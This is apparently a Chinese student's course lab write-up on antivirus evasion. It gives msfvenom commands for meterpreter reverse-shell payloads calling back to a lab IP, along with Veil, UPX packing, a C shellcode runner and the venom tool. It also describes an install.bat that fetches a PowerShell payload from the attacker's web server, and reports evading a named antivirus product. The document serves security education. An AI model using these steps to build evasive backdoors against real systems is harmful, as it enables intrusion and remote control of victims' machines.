2019-2020 网络对抗技术 20175207 Exp3 免杀原理与实践

目录


实践内容

裸奔的后门程序

在线检测:Virus Total www.virustotal.com
在正式开始实验之前,我们先看一下没有做免杀的后门程序在各个杀毒引擎面前的表现


方法


MSF编码器编码

  • 编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.137.130 LPORT=8888 -f exe > met-encoded.exe

检测met-encoded.exe,结果没什么变化

  • 编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.130 LPORT=8888 -f exe > met-encoded.exe

检测met-encoded.exe,结果依旧没什么变化

  • 原因
    因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,AV厂商盯住这部分就可以了。而且,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

msfvenom生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 x> backdoor_java.jar

检测backdoor_java.jar,结果不错

veil

常规方法:apt-get install veil-evasion,不过我尝试了很久很久也没成功,没耐心继续搞了,就换了种方法。惊喜的发现veil的docker镜像。😮(❤ ω ❤)

  • 安装docker:apt-get install docker docker-compose
  • 添加国内镜像源:vi /etc/docker/daemon.json
{
    "registry-mirrors": [
        "https://1nj0zren.mirror.aliyuncs.com",
        "https://docker.mirrors.ustc.edu.cn",
        "http://f1361db2.m.daocloud.io",
        "https://registry.docker-cn.com"
    ]
}
  • 重启docker服务:systemctl daemon-reload systemctl restart docker
  • 拉取veil镜像:docker pull mattiasohlsson/veil
  • 执行:docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
    -v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用,生成的文件会保存到这个目录下

  • 选择evasion:use 1
    veil有两个免杀的工具,Evasion和Ordnance。Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
  • 查看可用的payload:list
  • 随便选择一个:use 16
  • 设置IP:set LHOST 192.168.137.130
  • 设置端口:set LPORT 8888
  • 生成程序文件:generate
  • 输入程序名字:goVeil
    我们之前做过映射了,所以生成的程序保存在宿主机tmp/veil-output/compiled/目录

检测goVeil.exe,结果还凑合

加壳工具

  • 加压缩壳(UPX):upx goVeil.exe -o goVeil_upx.exe

检测goVeil_upx.exe,结果好了一点

使用C + shellcode编程

  • 用Msfvenom生成c语言的shellcode
msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.137.130 lport=8888  -f c -o shell.c
  • 把shell.c中的shellcode内容拷贝到下面的buf[]后面
    使用强制类型转换
#include <windows.h>
#include <stdio.h>

unsigned char buf[] ="";

void main()
{
   ((void(WINAPI*)(void))&buf)();
}

生成的代码用VS编译,输出为shell.exe
检测shell.exe,结果不错

其他方法:利用venom生成免杀木马

  • 克隆:git clone https://github.com/r00t-3xp10it/venom.git

  • 安装:cd venom/aux sudo ./setup.sh

  • 运行:sudo ./venom.sh
    第一次运行时可能会缺少一些必备的零件,根据提示安装就可以了

  • 选择你的目标操作系统、攻击模块等。这里以windows为例

    • Chose Categorie number:2
    • Chose Agent number:1 我们选择第1个攻击模块
      AEGNT N°1:
      | TARGET SYSTEMS : Windows #目标系统
      | SHELLCODE FORMAT : C(uuid obfuscation) #编码语言
      | AGENT EXTENSION : DLL|CPL #生成文件
      | AGENT EXECUTION : rundll32.exe agent.dll,main | press to exec (cpl) #触发
      | DETECTION RATIO : https://goo.gl/NKVLzj #检测比率
    • ip:192.168.137.130 弹框显示,可以根据example输入
    • port:666 弹框显示,可以根据example输入
    • SELECTCODE GENERATOR:windows/meterpreter/reverse_tcp弹框显示,选择对应选项
    • PAYLOAD NAME:venom1 生成的文件名
      检测venom1.dll,结果不错

通过组合应用各种技术实现恶意代码免杀


venom + metasploit + apache服务

  • venom的步骤与上面相似,攻击模块我们这次选择10
  • venom会自动打开metadploit
  • 生成install.batvenom10.ps1
  • install.bat传输到被测主机,火绒没有拦截
  • 开启kali的apache服务:service apache2 start
  • venom_10.ps1放到/var/wwww目录下
  • 被测主机登录192.168.137.130(kali的ip),可以看到kali的/var/www目录下的文件,并可以点击下载,install.bat的目的就是使被测主机通过PowerShell从网页下载venom10.ps1文件
  • 运行install.bat,火绒出现警告

检测install.bat,结果很不错😀

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


被测主机:Win10
杀软:火绒5.0.41.5


问题回答

杀软是如何检测出恶意代码的?

  • 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。杀毒是提取文件一段特征码来识别病毒文件。

模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。

  • 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读,例如注册表操作、添加启动项、添加服务,文件写入、读系统文件、删除文件、移动文件,杀进程,创建进程,注入、劫持等。说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。

免杀是做什么?

百度百科:
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-> > AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

免杀的基本方法有哪些?

  • 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
  • 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。

开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,本次实验就是最好的解释。🤔

实践总结与体会

不管是venom还是veil都有很多攻击模块,也有许多组合用法,需要我们不断尝试继续探索。要想得到一个自己满意的免杀程序,还需要对免杀原理更加了解,尝试自己编写shellcode。此外,还可以尝试生成多种类型的文件,.dll、.pdf等。😀

参考

posted @ 2020-04-01 15:43  20175207冷南  阅读(631)  评论(0编辑  收藏  举报